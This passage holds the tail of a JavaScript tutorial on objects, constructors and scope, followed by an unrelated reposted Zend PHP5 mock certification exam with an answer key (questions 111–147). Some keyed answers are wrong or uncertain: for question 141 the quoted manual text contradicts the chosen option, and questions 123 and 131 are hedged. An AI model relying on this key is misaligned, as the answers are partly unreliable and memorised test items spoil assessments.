Even if you create a new variable and point it towards the object, it will have the same effect.

view plain copy to clipboard print ?

var myObjectLiteral = {
myProperty : 'this is a property'
}
//alert current myProperty
alert(myObjectLiteral.myProperty); //this will alert 'this is a property'
//define new variable with object as value
var sameObject = myObjectLiteral;
//change myProperty
myObjectLiteral.myProperty = 'this is a new property';
//alert current myProperty
alert(sameObject.myProperty); //this will still alert 'this is a new property'

 var myObjectLiteral = {
     myProperty : 'this is a property'
    }
    //alert current myProperty
    alert(myObjectLiteral.myProperty); //this will alert 'this is a property'
    //define new variable with object as value
    var sameObject = myObjectLiteral;
    //change myProperty
    myObjectLiteral.myProperty = 'this is a new property';
    //alert current myProperty
    alert(sameObject.myProperty); //this will still alert 'this is a new property'

Now let’s try a similar exercise with a Constructor function.

view plain copy to clipboard print ?

//this is one other way of creating a Constructor function
var myObjectConstructor = function(){
this.myProperty = 'this is a property'
}
//instantiate our Constructor
var constructorOne = new myObjectConstructor();
//instantiate a second instance of our Constructor
var constructorTwo = new myObjectConstructor();
//alert current myProperty of constructorOne instance
alert(constructorOne.myProperty); //this will alert 'this is a property'
//alert current myProperty of constructorTwo instance
alert(constructorTwo.myProperty); //this will alert 'this is a property'

 //this is one other way of creating a Constructor function
 var myObjectConstructor = function(){
     this.myProperty = 'this is a property'
    }
    //instantiate our Constructor
    var constructorOne = new myObjectConstructor();
    //instantiate a second instance of our Constructor
    var constructorTwo = new myObjectConstructor();
    //alert current myProperty of constructorOne instance
    alert(constructorOne.myProperty); //this will alert 'this is a property'
     //alert current myProperty of constructorTwo instance
    alert(constructorTwo.myProperty); //this will alert 'this is a property'

So as expected, both return the correct value, but let’s change the myProperty for one of the instances.

view plain copy to clipboard print ?

//this is one other way of creating a Constructor function
var myObjectConstructor = function(){
this.myProperty = 'this is a property'
}
//instantiate our Constructor
var constructorOne = new myObjectConstructor();
//change myProperty of the first instance
constructorOne.myProperty = 'this is a new property';
//instantiate a second instance of our Constructor
var constructorTwo = new myObjectConstructor();
//alert current myProperty of constructorOne instance
alert(constructorOne.myProperty); //this will alert 'this is a new property'
//alert current myProperty of constructorTwo instance
alert(constructorTwo.myProperty); //this will still alert 'this is a property'

 //this is one other way of creating a Constructor function
 var myObjectConstructor = function(){
     this.myProperty = 'this is a property'
    }
    //instantiate our Constructor
    var constructorOne = new myObjectConstructor();
    //change myProperty of the first instance
    constructorOne.myProperty = 'this is a new property';
    //instantiate a second instance of our Constructor
    var constructorTwo = new myObjectConstructor();
    //alert current myProperty of constructorOne instance
    alert(constructorOne.myProperty); //this will alert 'this is a new property'
     //alert current myProperty of constructorTwo instance
    alert(constructorTwo.myProperty); //this will still alert 'this is a property'

As you can see from this example, even though we changed the property of constructorOne
it didn’t affect myObjectConstructor and therefore didn’t affect constructorTwo. Even if
constructorTwo was instantiated before we changed the myProperty property of constructorOne,
it would still not affect the myProperty property of constructorTwo as it is a completely different
instance of the object within JavaScript’s memory.
So which one should you use? Well it depends on the situation, if you only need one object of its kind for
your script (as you will see in our example at the end of this article), then use an object literal, but if you need several instances of an object, where each instance
is independent of the other and can have different properties or methods depending on the way it’s constructed, then use a constructor function.

This and That

While explaining constructor functions, there were a lot of ‘this’ keywords being thrown around
and I figure what better time to talk about scope!
Now you might be asking ‘what is this scope you speak of’?’ Scope in JavaScript is function/object based, so that means if you’re outside
of a function, you can’t use a variable that is defined inside a function (unless you use a closure).
There is however a scope chain, which means that a function inside another function can access a
variable defined in its parent function. Let’s take a look at some example code.

view plain copy to clipboard print ?

<script type="text/javascript">
var var1 = 'this is global and is available to everyone';
function function1(){
var var2 = 'this is only available inside function1 and function2';
function function2(){
var var3 = 'this is only available inside function2';
}
}
</script>

<script type="text/javascript">
var var1 = 'this is global and is available to everyone';
function function1(){
 var var2 = 'this is only available inside function1 and function2';
 function function2(){
  var var3 = 'this is only available inside function2';
 }
}
</script>

As you can see in this example, var1 is defined in the global object
and is available to all functions and object, var2 is defined inside function1
and is available to function1 and function2, but if you try to reference it from the global object
it will give you the error ‘var2 is undefined’, var3 is only accessible to function2.

So what does ‘this’ reference? Well in a browser, ‘this’ references the window object, so technically
the window is our global object. If we’re inside an object, ‘this’ will refer to the object itself however
if you’re inside a function, this will still refer to the window object and likewise if you’re inside a method
that is within an object, ‘this’ will refer to the object.
Due to our scope chain, if we’re inside a sub-object (an object inside an object), ‘this’ will refer to
the sub-object and not the parent object.
As a side note, it’s also worth adding that when using functions like setInterval, setTimeout and eval,
when you execute a function or method via one of these, ‘this’ refers to the window object as these are methods of window, so
setInterval() and window.setInterval() are the same.
Ok now that we have that out of the way, let’s do a real world example and create a
form validation object!

Real world Usage: A Form Validation Object

First I must introduce you to the addEvent function which we will create and is a
combination of ECMAScript’s (Firefox, Safari, etc.. ) addEventListener() function and
Microsoft ActiveX Script’s attachEvent() function.

view plain copy to clipboard print ?

function addEvent(to, type, fn){
if(document.addEventListener){
to.addEventListener(type, fn, false);
} else if(document.attachEvent){
to.attachEvent('on'+type, fn);
} else {
to['on'+type] = fn;
}
};

    function addEvent(to, type, fn){
        if(document.addEventListener){
            to.addEventListener(type, fn, false);
        } else if(document.attachEvent){
            to.attachEvent('on'+type, fn);
        } else {
            to['on'+type] = fn;
        }
    };

This creates a new function with three arguments, to being the DOM object we are attaching
the event to, type being the type of event and fn being the function run when
the event is triggered. It first checks whether addEventListener is supported, if so it will use that, if not it will check
for attachEvent and if all else fails you are probably using IE5 or something equally obsolete so
we will add the event directly onto its event property (note: the third option will overwrite any
existing function that may have been attached to the event property while the first two will add
it as an additional function to its event property).
Now let’s set up our document so it is similar to what you might see when you develop jQuery stuff.
In jQuery you would have;

view plain copy to clipboard print ?

$(document).ready(function(){
//all our code that runs after the page is ready goes here
});

    $(document).ready(function(){
        //all our code that runs after the page is ready goes here
    });

Using our addEvent function we have;

view plain copy to clipboard print ?

addEvent(window, 'load', function(){
//all our code that runs after the page is ready goes here
});

    addEvent(window, 'load', function(){
  //all our code that runs after the page is ready goes here
 });

Now for our Form object.

view plain copy to clipboard print ?

var Form = {
validClass : 'valid',
fname : {
minLength : 1,
maxLength : 15,
fieldName : 'First Name'
},
lname : {
minLength : 1,
maxLength : 25,
fieldName : 'Last Name'
},
validateLength : function(formEl, type){
if(formEl.value.length > type.maxLength || formEl.value.length < type.minLength ){
formEl.className = formEl.className.replace(' '+Form.validClass, '');
return false;
} else {
if(formEl.className.indexOf(' '+Form.validClass) == -1)
formEl.className += ' '+Form.validClass;
return true;
}
},
validateEmail : function(formEl){
var regEx = /^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@([0-9a-zA-Z][-\w]*[0-9a-zA-Z]\.)+[a-zA-Z]{2,9})$/;
var emailTest = regEx.test(formEl.value);
if (emailTest) {
if(formEl.className.indexOf(' '+Form.validClass) == -1)
formEl.className += ' '+Form.validClass;
return true;
} else {
formEl.className = formEl.className.replace(' '+Form.validClass, '');
return false;
}
},
getSubmit : function(formID){
var inputs = document.getElementById(formID).getElementsByTagName('input');
for(var i = 0; i < inputs.length; i++){
if(inputs[i].type == 'submit'){
return inputs[i];
}
}
return false;
}
};

var Form = {
 validClass : 'valid',
 fname : {
  minLength : 1,
  maxLength : 15,
  fieldName : 'First Name'
 },
 lname : {
  minLength : 1,
  maxLength : 25,
  fieldName : 'Last Name'
 },
 validateLength : function(formEl, type){
  if(formEl.value.length > type.maxLength || formEl.value.length < type.minLength ){
   formEl.className = formEl.className.replace(' '+Form.validClass, '');
   return false;
  } else {
   if(formEl.className.indexOf(' '+Form.validClass) == -1)
   formEl.className += ' '+Form.validClass;
   return true;
  }
 },
 validateEmail : function(formEl){
  var regEx = /^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@([0-9a-zA-Z][-\w]*[0-9a-zA-Z]\.)+[a-zA-Z]{2,9})$/;
  var emailTest = regEx.test(formEl.value);
  if (emailTest) {
   if(formEl.className.indexOf(' '+Form.validClass) == -1)
   formEl.className += ' '+Form.validClass;
   return true;
  } else {
   formEl.className = formEl.className.replace(' '+Form.validClass, '');
   return false;
  }
 },
 getSubmit : function(formID){
  var inputs = document.getElementById(formID).getElementsByTagName('input');
  for(var i = 0; i < inputs.length; i++){
   if(inputs[i].type == 'submit'){
    return inputs[i];
   }
  }
  return false;
 }
};

So this is quite basic but can easily be expanded upon.
To break this down first we create a new property which is just the string name of our 'valid' css class
that when applied to the form field, adds valid effects such as a green border. We also define our two sub-objects, fname and lname,
so we can define their own properties that can be used by methods elsewhere, these properties are minLength
which is the minimum amount of characters these fields can have, maxLength which is the max characters
the field can have and fieldName which doesn't actually get used, but could be grabbed for
things like identifying the field with a user friendly string in an error message (eg. 'First Name field is required.').
Next we create a validateLength method that accepts two arguments: formEl the DOM element to validate
and the type which refers to one of the sub-object to use (i.e. fname or lname).
This function checks whether the length of the field is between the minLength and maxLength range, if it's not
then we remove our valid class (if it exists) from the element and return false, otherwise if it is then we add the valid class and return true.
Then we have a validateEmail method which accepts a DOM element as an arguement, we then test this DOM elements value against an
email type regular expression; again if it passes we add our class and return true and vice versa.
Finally we have a getSubmit method. This method is given the id of the form and then loops through all input elements inside the specified form
to find which one has a type of submit (type="submit"). The reason for this method is to return the submit button so we can
disable it until the form is ready to submit.
Let's put this validator object to work on a real form. First we need our HTML.

view plain copy to clipboard print ?

<body>
<form id="ourForm">
<label>First Name</label><input type="text" /><br />
<label>Last Name</label><input type="text" /><br />
<label>Email</label><input type="text" /><br />
<input type="submit" value="submit" />
</form>
</body>

    <body>
    <form id="ourForm">
        <label>First Name</label><input type="text" /><br />
        <label>Last Name</label><input type="text" /><br />
        <label>Email</label><input type="text" /><br />
        <input type="submit" value="submit" />
    </form>
    </body>

Now let's access these input objects using JavaScript and validate them when the form submits.

view plain copy to clipboard print ?

addEvent(window, 'load', function(){
var ourForm = document.getElementById('ourForm');
var submit_button = Form.getSubmit('ourForm');
submit_button.disabled = 'disabled';
function checkForm(){
var inputs = ourForm.getElementsByTagName('input');
if(Form.validateLength(inputs[0], Form.fname)){
if(Form.validateLength(inputs[1], Form.lname)){
if(Form.validateEmail(inputs[2])){
submit_button.disabled = false;
return true;
}
}
}
submit_button.disabled = 'disabled';
return false;
};
checkForm();
addEvent(ourForm, 'keyup', checkForm);
addEvent(ourForm, 'submit', checkForm);
});

addEvent(window, 'load', function(){
 var ourForm = document.getElementById('ourForm');
 var submit_button = Form.getSubmit('ourForm');
 submit_button.disabled = 'disabled';
 function checkForm(){
  var inputs = ourForm.getElementsByTagName('input');
  if(Form.validateLength(inputs[0], Form.fname)){
   if(Form.validateLength(inputs[1], Form.lname)){
    if(Form.validateEmail(inputs[2])){
      submit_button.disabled = false;
      return true;
    }
   }
  }
  submit_button.disabled = 'disabled';
  return false;
 };
 checkForm();
 addEvent(ourForm, 'keyup', checkForm);
 addEvent(ourForm, 'submit', checkForm);
});

Let's break down this code.
We wrap our code in the addEvent function so when the window is loaded this script runs.
Firstly we grab our form using its ID and put it in a variable named ourForm, then we grab
our submit button (using our Form objects getSubmit method) and put it in a variable named submit_button,
and then set the submit buttons disabled attribute to 'disabled'.
Next we define a checkForm function. This stores all the inputs inside the form field as an array and we attach it to a
variable named.. you guessed it.. inputs!
Then it defines some nested if statements which test each of the fields inside the inputs array against our Form methods.
This is the reason we returned true or false in our methods, so if it returns true, we pass that if statement and continue onto the next,
but if it returns false, we exit the if statements.
Following our function definition, we execute the checkForm function when the page initially loads and also attach the function to a keyup event
and a submit event.
You might be asking, why attach to submit if we disabled the submit button. Well if you are focused on an input field and hit the enter key, it will
attempt to submit the form and we need to test for this, hence the reason our checkForm function returns true (submits the form) or false (doesn't submit form).

Conclusion

So we learned how to define the different object types within JavaScript and create properties and methods within them. We also learned a nifty addEvent function and got to use our object in a basic real world example.
This concludes the basics of JavaScript Object Orientation. Hopefully, this may start you on your way to building your own JavaScript library! If you liked this article and are interested in other JavaScript related topics, post them in the comments as I'd be happy to continue writing them. Thanks for reading.

Zend PHP5 Certification Mock Exam Sample Questions — 3

2013-02-01T18:28:00.003-08:00

Zend PHP5 Certification Mock Exam Sample Questions — 3

PHP | 08.04.2011 |

Hi friends, I decided to post on his blog the exam questions to test Zend PHP5 with the correct (imho) answers and explain their references.
If you have additions or questions please write them in the comments.

111. Unlike a database such as MySQL, SQLite columns are not explicitly typed. Instead, SQLite catagorizes data into which of the following catagories? (Choose 2 answers)

textual
unicode
numeric
binary
constant

Answer: A, C
http://www.sqlite.org/datatype3.html: the database engine may convert values between numeric storage classes (INTEGER and REAL) and TEXT during query execution.
112. Which of the following SQL statements will improve SQLite write performance? (Choose 2 answers)

PRAGMA locking_mode = «Row»;
PRAGMA count_changes = Off;
PRAGMA default_synchronous = Off;
PRAGMA default_synchronous = On;
PRAGMA locking_mode = «Table»;

Answer: B, C
http://web.utk.edu/~jplyon/sqlite/SQLite_optimization_FAQ.html#pragmas
113. Consider the following code snippet. What would go in place of the ???? above for this script to function properly? (Choose 1 answer)

<?php

$link = mysqli_connect("hostname","username","password");

if(!$link)

{

   $error = ??????

   die("Could not connect to the database: $error");

}

?>

mysqli_connect_error();
mysqli_connect_error($link);
mysqli_error();
$_MySQL['connect_error']
mysqli_get_connect_error();

Answer: A
http://php.net/manual/ru/mysqli.connect-error.php — Returns a string description of the last connect error
114. Consider the following code snippet. Assuming this snippet is a smaller part of a correctly written script, what actions must occur in place of the ????? in the above code snippet to insert a row with the following values: 10, 20.2, foo, string? (Choose 1 answer)

<?php

$query = "INSERT INTO mytable

(myinteger, mydouble, myblob, myvarchar)

VALUES (?, ?, ?, ?)";

$statement = mysqli_prepare($link, $query);

if(!$statement)

{

   die(mysqli_error($link));

}

/* The variables being bound to by MySQLi

don't need to exist prior to binding */

mysqli_bind_param($statement, "idbs",

$myinteger, $mydouble, $myblob, $myvarchar);

/* ???????????? */

/* execute the query, using the variables as defined. */

if(!mysqli_execute($statement))

{

   die(mysqli_error($link));

}

?>

A transaction must be begun and the variables must be assigned
Each value must be assigned prior to calling mysqli_bind_param(), and thus nothing should be done
Use mysqli_bind_value() to assign each of the values
Assign $myinteger, $mydouble, $myblob, $myvarchar the proper values

Answer: D
http://www.php.net/manual/en/mysqli-stmt.bind-param.php: Example #2 Procedural style, http://php.net/manual/ru/mysqli.prepare.php: The parameter markers must be bound to application variables using mysqli_stmt_bind_param() and/or mysqli_stmt_bind_result()before executing the statement or fetching rows, also mysqli_bind_value is not exists in php.net.
115. Consider the following code snippet, assuming this code snippet is part of a larger correct application, what must be done in place of the ???? above for the correct output to be displayed? (Choose 1 answer)

<?php

$query = "SELECT first, last, phone FROM contacts WHERE first LIKE 'John%'";

$statement = mysqli_prepare($link, $query);

mysqli_execute($statement);

/* ???? */

while(($result = mysqli_stmt_fetch($statement)))

{

   print "Name: $first $last\n";

   print "Phone: $phone\n\n";

}

?>

None of the above
mysqli_fetch_columns($first, $last, $phone);
mysqli_stmt_bind_result($statement, $first, $last, $phone);
A while loop, fetching the row and assigning $first, $last, and $phone the proper value

Answer: C
http://ru.php.net/manual/en/mysqli-stmt.bind-result.php — Binds variables to a prepared statement for result storage.
116. Which of the following cases are cases when you should use transactions? (Choose 1 answer)

Updating a single row in a table
Inserting a new row into a single table
Performing a stored procedure
Selecting rows from multiple different tables
Updating a single row in multiple different tables

Answer: E
http://php.net/manual/en/pdo.transactions.php – Example #6 Executing a batch in a transaction
117. PHP 5 supports which of the following XML parsing methods? (Choose 4 answers)

SAX
FastDOM
DOM
XPath
XML to Object mapping

Answer: A, C, D, E
http://pear.php.net/package/XML_HTMLSax, http://php.net/manual/de/book.dom.php, http://php.net/manual/de/simplexmlelement.xpath.php, http://www.php.net/manual/en/function.simplexml-load-file.php (Interprets an XML file into an object) and FastDOM is not exists.
118. Which of the following is not a valid PDO DSN? (Choose 1 answer)

All of the above are valid
mysql:unix_socket=/tmp/mysql.sock;dbname=testdb
oci:dbname=//localhost:1521/mydb
mysql:host=localhost;port=3307;dbname=testdb
sqlite2:/opt/databases/mydb.sq2

Answer: A
all from http://php.net/manual/en/pdo.drivers.php: http://www.php.net/manual/en/ref.pdo-mysql.connection.php (Example #1 PDO_MYSQL DSN examples), http://www.php.net/manual/en/ref.pdo-oci.connection.php (Example #1 PDO_OCI DSN examples), http://www.php.net/manual/en/ref.pdo-sqlite.connection.php (Example #1 PDO_SQLITE DSN examples)
119. When connecting to a database using PDO, what must be done to ensure that database credentials are not compromised if the connection were to fail? (Choose 1 answer)

wrap the PDO DSN in a try/catch block to catch any connection exception
Use constants in the PDO DSN
Place the login credentials in the php.ini file
Disable E_STRICT and E_NOTICE error reporting levels

Answer: A
http://www.php.net/manual/en/pdo.connections.php: Example #3 Handling connection errors, If your application does not catch the exception thrown from the PDO constructor, the default action taken by the zend engine is to terminate the script and display a back trace. This back trace will likely reveal the full database connection details, including the username and password. It is your responsibility to catch this exception, either explicitly (via acatch statement) or implicitly via set_exception_handler().
120. Consider the following script. What lines of code need to go into the missing places above in order for this script to function properly and insert the data into the database safely? (Choose 4 answers)

<?php

try {

   $dbh = new PDO("sqlite::memory:");

} catch(PDOException $e) {

   print $e->getMessage();

}

$dbh->query("CREATE TABLE foo(id INT)");

$stmt = $dbh->prepare("INSERT INTO foo VALUES(:value)");

$value = null;

$data = array(1,2,3,4,5);

$stmt->bindParam(":value", $value);

/* ?????? */

try {

   foreach($data as $value) {

/* ????? */

}

} catch(PDOException $e) {

/* ??????? */

}

/* ?????? */

?>

$dbh->beginTransaction();
$dbh->commit();
$stmt->execute();
$dbh->rollback();
$dbh->query($stmt);

Answer: A, C, D, B
http://www.php.net/manual/en/pdo.query.php: For a query that you need to issue multiple times, you will realize better performance if you prepare a PDOStatement object using PDO::prepare() and issue the statement with multiple calls to PDOStatement::execute().
121. Implementing your own PDO class requires which steps from the list below? (Choose 3 answers)

Extending the PDOStatement Class
Set the PDO::ATTR_STATEMENT_CLASS parameter
Call the PDO::setStatementClass() method
Extend the PDO class
Set the PDO::ATTR_USE_CLASS paramater

Answer: D, A, B
http://php.net/manual/en/book.pdo.php
122. When embedding PHP into XML documents, what must you ensure is true in order for things to function properly? (Choose 1 answer)

Disabling of the short_tags PHP.ini directive
Enabling the asp_tags PHP.ini directive
That you have XPath support enabled in PHP 5
That your XML documents are well-formed
None of the above, PHP can be embedded in XML in all cases.

Answer: D
http://www.daaq.net/old/php/index.php?page=embedding+php&parent=php+basics: “… This means that XML documents containing PHP should still be well-formed and valid.”, and about well-formed xml from IBM.
123. What XML technology is used when you mix two different document types in a single XML document? (Choose 1 answer)

Validators
DTD
Transformations
Namespaces

Answer: D (B)
http://www.webdeveloper.com/forum/showthread.php?t=230532: ultimately DTD or Namespaces?
124. Consider the following example XML document. What is wrong with this document, and how can it be corrected? (Choose 2 answers)

<?xml version="1.0" encoding="ISO-8859-1" ?>

<!DOCTYPE html

PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

<title>XML Example</title>

</head>

<body>

<p>

Moved to <<a href="http://example.org/">http://www.example.org/</a>.>

<br>

</p>

</body>

</html>

The document is completely valid
All special XML characters must be represented as entities within the content of a node
All tags must be closed
You cannot specify a namespace for the <html> attribute
The DOCTYPE declaration is malformed

Answer: B, C
http://en.wikipedia.org/wiki/Well-formed_element for <br>, http://en.wikipedia.org/wiki/XML#Escaping for node content ‘Moved to <<a href=»http://example.org/»>http://www.example.org/</a>.>’
125. Event-based XML parsing is an example of which parsing model? (Choose 1 answer)

SAX
DOM
XML Object Mapping
XPath
XQuery

Answer: A
http://en.wikipedia.org/wiki/Simple_API_for_XML#XML_processing_with_SAX: A parser which implements SAX (ie, a SAX Parser) functions as a stream parser, with an event-driven API. The user defines a number of callback methods that will be called when events occur during parsing.
126. Consider the following code segment. What should be placed in place of ?????? above to have the above script display the name of each tag within the XML document? (Choose 1 answer)

<?php

$xmldata = <<< XML

<?xml version="1.0" encoding="ISO-8859-1" ?>

<!DOCTYPE html
PUBLIC «-//W3C//DTD XHTML 1.0 Transitional//EN»
«http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd»>
<html xmlns=»http://www.w3.org/1999/xhtml» xml:lang=»en» lang=»en»>
<head>
<title>XML Example</title>
</head>
<body>
<p>
Moved to <<a href=»http://example.org/»>http://www.example.org/</a>.>
<br/>
</p>
</body>
</html>
XML;
$xml = xml_parser_create(«UTF-8»);
/* ??????? */
xml_parse($xml, $xmldata);
function xml_start_handler($xml, $tag, $attributes) {
print «Tag: $tag<br/>\n»;
}
function xml_end_handler($xml, $tag) {
}
?>

xml_set_callback(«xml_start_handler»);
xml_set_element_handler($xml, «xml_start_handler», «xml_end_handler»);
xml_node_set_handler(«xml_start_handler», «xml_end_handler»);
xml_node_set_handler(«xml_start_handler»);

Answer: B
http://php.net/manual/en/function.xml-set-element-handler.php – Set up start and end element handlers.
127. What is the primary benefit of a SAX-based XML parser compared to DOM? (Choose 1 answer)

All of the above
Faster then DOM methods
Requires less memory then DOM
Easier to develop parsers

Answer: A
http://en.wikipedia.org/wiki/Simple_API_for_XML#Benefits and D because B & C is strongly right.
128. What does the following PHP script accomplish? (Choose 1 answer)

<?php

$dom = new DomDocument();

$dom->load('test.xml');

$body = $dom->documentElement->getElementsByTagName('body')->item(0);

echo $body->getAttributeNode('background')->value. "\n";

?>

Displays the content of every <body> node
Displays the «background» attribute for the first node in the XML document named «body»
Displays the content of every node that has a «background» node
Displays the «background» attribute of every node named «body»

Answer: B
http://ru2.php.net/manual/en/function.domdocument-get-elements-by-tagname.php – Returns array with nodes with given tagname in document or empty array, if not found
129. Creating new nodes in XML documents using PHP can be done using which XML/PHP 5 technologies? (Choose 2 answers)

XQuery
XPath
SimpleXML
DOM
SAX

Answer: C, D
http://php.net/manual/en/class.simplexmlelement.php – public SimpleXMLElement addChild, http://php.net/manual/en/domdocument.createelement.php
130. Consider the following simple PHP script. What XPath query should go in the ?????? above to display the «bgcolor» attribute of the first «body» node in the XML document? (Choose 1 answer)

<?php

$dom = new DomDocument();

$dom->load('test.xml');

$xpath = new DomXPath($dom);

$nodes = $xpath->query(???????, $dom->documentElement);

echo $nodes->item(0)->getAttributeNode('bgcolor')->value

. "\n";

?>

«*[local-name()='body']«
«/body[0]/text»
«/body/body[0]«
«name='body'»
«*[lname()='body']«

Answer: A
http://www.w3.org/TR/xpath/#function-local-name – returns the local part of the expanded-name of the node in the argument node-set that is first in document order.
131. Consider the following PHP script fragment. What should ??????? be replaced with to add a <title> node with the value of Hello, World! (Choose 1 answer)

<?php

$title = $dom->createElement('title');

$node = ????????

$title->appendChild($node);

$head->appendChild($title);

?>

$dom->createTextNode(„Hello, World“);
$dom->appendElement($title, „text“, „Hello, world!“);
$dom->appendTextNode($title, „Hello, World!“);
$dom->createElement('text', „Hello, World“);
None of the above

Answer: E
As for me its could be options A (http://php.net/manual/ru/domdocument.createtextnode.php) and В (http://php.net/manual/ru/domdocument.createelement.php) but in both exclamation mark is missed.
132. When working with SimpleXML in PHP 5, the four basic rules on how the XML document is accessed are which of the following? (Choose 4 answers)

Element namespaces are denoted by the 'namespace' attribute
converting an element to a string denotes text data
Non-numeric indexes are element attributes
Numeric indexes are elements
Properties denote element iterators

Answer: B, C, D, E
Because http://docs.php.net/manual/en/simplexmlelement.getnamespaces.php namespaces are denoted by the ‘xmlns’ attribute.
133. SimpleXML objects can be created from what types of data sources? (Choose 3 answers)

A String
An array
A DomDocument object
A URI
A Database resource

Answer: A, C, D
http://php.net/manual/en/simplexmlelement.construct.php — (Data: A well-formed XML string or the path or URL to an XML document if data_is_url is TRUE.) Example #2 Create a SimpleXMLElement object from a URL.
simplexml_import_dom — Get a SimpleXMLElement object from a DOM node,
simplexml_load_string — Interprets a string of XML into an object
134. Given the following XML document in a SimpleXML object. Select the proper statement below which will display the HREF attribute of the anchor tag. (Choose 1 answer)
<?xml version=»1.0" encoding=»ISO-8859-1" ?>
<!DOCTYPE html
PUBLIC «-//W3C//DTD XHTML 1.0 Transitional//EN»
«http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd»>
<html xmlns=»http://www.w3.org/1999/xhtml» xml:lang=»en» lang=»en»>
<head>
<title>XML Example</title>
</head>
<body>
<p>
Moved to <<a href=»http://example.org/»>http://www.example.org/</a>.>
<br/>
</p>
</body>
</html>

$sxe->body->p[0]->a[1]['href']
$sxe->body->p->a->href
$sxe->body->p->a['href']
$sxe['body']['p'][0]['a']['href']
$sxe->body->p[1]->a['href']

Answer: C
http://www.php.net/manual/en/simplexml.examples-basic.php: Example #5 Using attributes.
With p[0] is also working but without a[1]['href'].
135. Given the following PHP script. What should go in place of ????? above to print the string ‘Hello, World!’ (with no leading/trailing whitespace or markup)? (Choose 1 answer)

<?php

$xmldata = <<< XML

<?xml version="1.0" encoding="ISO-8859-1" ?>

<!DOCTYPE html
PUBLIC «-//W3C//DTD XHTML 1.0 Transitional//EN»
«http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd»>
<html xmlns=»http://www.w3.org/1999/xhtml» xml:lang=»en» lang=»en»>
<head>
<title>XML Example</title>
</head>
<body>
<p>
<b>Hello, World!</b>
</p>
</body>
</html>
XML;
$sxe = simplexml_load_string($xmldata);
$p = $sxe->body->p;
$string = ????????
print $string;
?>

trim(($p[1]));
trim(strip_tags(($p->asText())));
trim(strip_tags(($p->asXML())));
trim(($p->asXML()));
strip_tags(($p->asXML()));

Answer: C
http://php.net/manual/ru/simplexmlelement.asxml.php and also SimpleXMLElement::asText() is not exists
136. The following is a common XML structure used in service oriented architectures, what does it represent? (Choose 1 answer)
<?xml version=»1.0"?>
<methodCall>
<methodName>myMethod</methodName>
<params>
<param>
<value><string>HI!</string></value>
</param>
</params>
</methodCall>

None of the above
A fragment of a complete SOAP request
XML-RPC
REST
SOAP

Answer: C
http://en.wikipedia.org/wiki/XML-RPC
137. Which of the following functions are part of PHP's internal Iterator interface? (Choose 5 answers)

rewind()
valid()
next()
key()
current()

Answer: ALL
http://php.net/manual/en/class.iterator.php
138. Consider the following script. Assuming the referenced XML document exists and matches the parsing logic, what should be displayed when this script is executed? (Choose 1 answer)

<?php

$dom = new DOMDOcument();

$dom->load("myxmlfile.xml");

foreach($dom->documentElement->childNodes as $child)

{

   if(($child->nodeType == XML_ELEMENT_NODE) && $child->nodeName == "item")

   {

      foreach($child->childNodes as $item)

      {

         if(($item->nodeType == XML_ELEMENT_NODE) && ($item->nodeName == "title"))

         {

            print "$item->firstChild->data\n";

         }

      }

   }

}

?>

None of the above
The XML of each 'title' node
The XML of each 'item' node
«Title» for every title node in the document
The contents of every 'title' node which exists under an 'item' node

Answer: E
http://php.net/manual/en/function.domnode-node-type.php
139. Which of the following methods are used to fetch data from a PDO Statement? (Choose 3 answers)

fetchColumn()
fetchObject()
fetch()
fetchClass()
fetchRow()

Answer: A, B, C
http://php.net/manual/en/pdostatement.fetch.php
140. In a general sense, which is more important: performance or maintainability of an application? (Choose 1 answer)

performance first, maintainability second
Maintainability first, performance second
Maintainability
Performance

Answer: B
Link?
141. When writing portable database code using PDO, what is the PDO::ATTR_CASE attribute useful for? (Choose 1 answer)

None of the above
Ensuring that all columns are of a particular case when fetched
Adjusting the case of a query before it is processed for compatibility reasons
Controls the switch logic of how queries are processed
Allows you to adjust the memory cache (or «case») for increased performance

Answer: C
http://php.net/manual/en/pdo.setattribute.php — PDO::ATTR_CASE: Force column names to a specific case.
142. Consider the following PHP code segment, which attempts to execute a PDO query.
In the event of a PDOException, $info is set with the contents of the $errorInfo property of the exception. Which of the following are accurate descriptions of the contents? (Choose 3 answers)

<?php

try {

$dbh->exec($sql);

} catch (PDOException $e) {

// display warning message

$info = $e->errorInfo;

}

?>

$info[1] is the database-specific error code
$info[2] is the database-specific error message
$info[1] is the unified error code
$info[0] is the unified error code
$info[0] Is the Database-specific error message

Answer: A, B, D
http://www.php.net/manual/en/pdo.errorinfo.php: 0 – SQLSTATE error code (a five characters alphanumeric identifier defined in the ANSI SQL standard), 1 – Driver-specific error code, 2 – Driver-specific error message.
143. Which of the following functions allow you to introspect the call stack during execution of a PHP script? (Choose 2 answers)

get_backtrace()
get_function_stack()
debug_backtrace()
debug_print_backtrace()
print_backtrace()

Answer: C, D
http://php.net/manual-lookup.php?pattern=backtrace=en
144. When working with a database, which of the following can be used to mitigate the possibility of exposing your database credentials to a malicious user? (Choose 3 answers)

Moving all database credentials into a single file
Moving all database credentials outside of the document root
Restricting access to files not designed to be executed independently
Setting credential information as system environment variables
Using PHP constants instead of variables to store credentials

Answer: B, C, D
Links? Some thoughts from zend forum.
145. When running PHP in a shared host environment, what is the major security concern when it comes to session data? (Choose 1 answer)

Sessions on shared hosts are easily hijacked by outside malicious users
All of the above
You cannot use a custom data store in shared hosts
Session data stored in the file system can be read by other scripts on the same shared host
Users outside the shared host can access any site which created a session for them

Answer: D
http://phpsec.org/projects/guide/5.html: “By default, PHP stores session data in /tmp, and this is true for everyone.” — And /tmp is readable for every account on that host.

146. Which of the following are examples of the new engine executor models available in PHP 5? (Choose 3 answers)

Switch
Conditional
Goto
Call
Dynamic

Answer: A, C, D
http://sebastian-bergmann.de/archives/504-PHP-5.1-Performance.html: the new three execution models CALL, GOTO, SWITCH (also from ZDZ)
147. Which of the following are not true about streams? (Choose 2 answers)

They are always seek-able
When used properly they significantly reduce memory consumption
They can be applied to any data source
They are always bi-directional
They can be filtered

Answer: A, D
